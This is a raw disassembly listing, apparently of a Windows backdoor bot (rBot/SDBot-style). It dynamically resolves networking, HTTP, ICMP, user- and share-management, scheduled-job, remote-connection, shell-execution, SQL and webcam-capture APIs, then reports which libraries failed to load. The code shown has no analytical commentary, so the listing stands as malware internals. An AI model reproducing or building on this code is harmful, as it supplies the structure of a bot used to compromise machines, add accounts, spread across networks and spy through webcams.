		mov	dword_43F5A4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43F59C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43F6B8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43F6CC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43F680, eax
		call	esi
		mov	dword_43F640, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43F694, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43F650, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43F690, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43F6FC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43F648, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43F60C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43F67C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43F6EC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43F620, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43F5C4, eax
		call	esi
		cmp	dword_43F5E0, ebx
		mov	dword_43F700, eax
		jz	loc_409FD6
		cmp	dword_43F70C, ebx
		jz	loc_409FD6
		cmp	dword_43F584, ebx
		jz	loc_409FD6
		cmp	dword_43F614, ebx
		jz	loc_409FD6
		cmp	dword_43F5FC, ebx
		jz	loc_409FD6
		cmp	dword_43F5C8, ebx
		jz	loc_409FD6
		cmp	dword_43F6E8, ebx
		jz	loc_409FD6
		cmp	dword_43F704, ebx
		jz	loc_409FD6
		cmp	dword_43F610, ebx
		jz	loc_409FD6
		cmp	dword_43F6F4, ebx
		jz	loc_409FD6
		cmp	dword_43F6A8, ebx
		jz	loc_409FD6
		cmp	dword_43F668, ebx
		jz	loc_409FD6
		cmp	dword_43F664, ebx
		jz	loc_409FD6
		cmp	dword_43F5A4, ebx
		jz	short loc_409FD6
		cmp	dword_43F6B8, ebx
		jz	short loc_409FD6
		cmp	dword_43F6CC, ebx
		jz	short loc_409FD6
		cmp	dword_43F680, ebx
		jz	short loc_409FD6
		cmp	dword_43F640, ebx
		jz	short loc_409FD6
		cmp	dword_43F694, ebx
		jz	short loc_409FD6
		cmp	dword_43F650, ebx
		jz	short loc_409FD6
		cmp	dword_43F690, ebx
		jz	short loc_409FD6
		cmp	dword_43F6FC, ebx
		jz	short loc_409FD6
		cmp	dword_43F648, ebx
		jz	short loc_409FD6
		cmp	dword_43F60C, ebx
		jz	short loc_409FD6
		cmp	dword_43F67C, ebx
		jz	short loc_409FD6
		cmp	dword_43F6EC, ebx
		jz	short loc_409FD6
		cmp	dword_43F620, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409FCB:				; CODE XREF: sub_40981F+501j
		nop
		call	near ptr 2630313h
		mov	dword_43F74C, eax


loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43F748, 1


loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43F5AC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43F538, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43F630, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43F5E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43F63C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43F600, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43F578, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43F570, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43F580, eax
		call	esi
		cmp	dword_43F5AC, ebx
		mov	ecx, dword_43F600
		mov	dword_43F69C, eax
		jz	short loc_40A0C1
		cmp	dword_43F538, ebx
		jz	short loc_40A0C1
		cmp	dword_43F630, ebx
		jz	short loc_40A0C1
		cmp	dword_43F5E4, ebx
		jz	short loc_40A0C1
		cmp	dword_43F63C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43F578, ebx
		jz	short loc_40A0C1
		cmp	dword_43F570, ebx
		jz	short loc_40A0C1
		cmp	dword_43F580, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB


loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43F750, 1


loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43F618, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------


loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 2630313h
		mov	dword_43F754, eax
		mov	dword_43F750, 1


loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43F618, ebx


loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43F5F4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43F720, eax
		call	esi
		cmp	dword_43F5F4, ebx
		mov	dword_43F58C, eax
		jz	short loc_40A155
		cmp	dword_43F720, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------


loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		nop
		call	near ptr 2630313h
		mov	dword_43F75C, eax


loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43F758, 1


loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43F568, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43F540, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43F5B4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43F5E8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43F6F8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43F5A0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43F54C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43F53C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43F5D0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43F6C0, eax
		call	esi
		cmp	dword_43F568, ebx
		mov	dword_43F678, eax
		jz	short loc_40A260
		cmp	dword_43F540, ebx
		jz	short loc_40A260
		cmp	dword_43F5B4, ebx
		jz	short loc_40A260
		cmp	dword_43F5E8, ebx
		jz	short loc_40A260
		cmp	dword_43F6F8, ebx
		jz	short loc_40A260
		cmp	dword_43F5A0, ebx
		jz	short loc_40A260
		cmp	dword_43F54C, ebx
		jz	short loc_40A260
		cmp	dword_43F53C, ebx
		jz	short loc_40A260
		cmp	dword_43F5D0, ebx
		jz	short loc_40A260
		cmp	dword_43F6C0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------


loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 2630313h
		mov	dword_43F764, eax


loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43F760, 1


loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43F590, eax
		call	esi
		cmp	dword_43F590, ebx
		mov	dword_43F660, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------


loc_40A29F:				; CODE XREF: sub_40981F+A56j
		call	near ptr 2630313h
		nop
		mov	dword_43F76C, eax


loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43F768, 1


loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43F6E4, eax
		call	esi
		cmp	dword_43F6E4, ebx
		mov	dword_43F6E0, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------


loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 2630313h
		mov	dword_43F774, eax


loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43F770, 1


loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43F710, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43F708, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43F6D0, eax
		call	esi
		cmp	dword_43F710, ebx
		mov	dword_43F5A8, eax
		jz	short loc_40A368
		cmp	dword_43F708, ebx
		jz	short loc_40A368
		cmp	dword_43F6D0, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------


loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		call	near ptr 2630313h
		nop
		mov	dword_43F77C, eax


loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43F778, 1


loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43F5DC, eax
		call	esi
		cmp	dword_43F5DC, ebx
		mov	dword_43F6DC, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		nop
		call	near ptr 2630313h
		mov	dword_43F784, eax


loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43F780, 1


loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43F6A4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43F6F0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43F62C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43F5EC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43F684, eax
		call	esi
		cmp	dword_43F6A4, ebx
		mov	dword_43F5F8, eax
		jz	short loc_40A450
		cmp	dword_43F6F0, ebx
		jz	short loc_40A450
		cmp	dword_43F62C, ebx
		jz	short loc_40A450
		cmp	dword_43F5EC, ebx
		jz	short loc_40A450
		cmp	dword_43F684, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------


loc_40A445:				; CODE XREF: sub_40981F+BA8j
		nop
		call	near ptr 2630313h
		mov	dword_43F78C, eax


loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43F788, 1


loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43F5C0, eax
		call	esi
		cmp	dword_43F5C0, ebx
		mov	dword_43F698, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: sub_40981F+C46j
		call	near ptr 2630313h
		nop
		mov	dword_43F794, eax


loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43F790, 1


loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43F728, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43F72C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43F730, esi
		jz	short loc_40A528
		push	dword_43F734
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43F738, esi
		jz	short loc_40A55C
		push	dword_43F73C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43F740, esi
		jz	short loc_40A590
		push	dword_43F744
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43F748, esi
		jz	short loc_40A5C4
		push	dword_43F74C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43F750, esi
		jz	short loc_40A5F8
		push	dword_43F754
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43F758, esi
		jz	short loc_40A62C
		push	dword_43F75C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43F760, esi
		jz	short loc_40A660
		push	dword_43F764
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43F768, esi
		jz	short loc_40A694
		push	dword_43F76C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43F770, esi
		jz	short loc_40A6C8
		push	dword_43F774
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43F778, esi
		jz	short loc_40A6FC
		push	dword_43F77C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43F780, esi
		jz	short loc_40A730
		push	dword_43F784
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43F788, esi
		jz	short loc_40A764
		push	dword_43F78C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43F790, esi
		jz	short loc_40A798
		push	dword_43F794
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi


loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx


loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------


loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax


loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E


loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------


loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0


loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB


loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0


loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA


loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]


loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD


loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch


loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx


loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi


loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx


loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23


loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
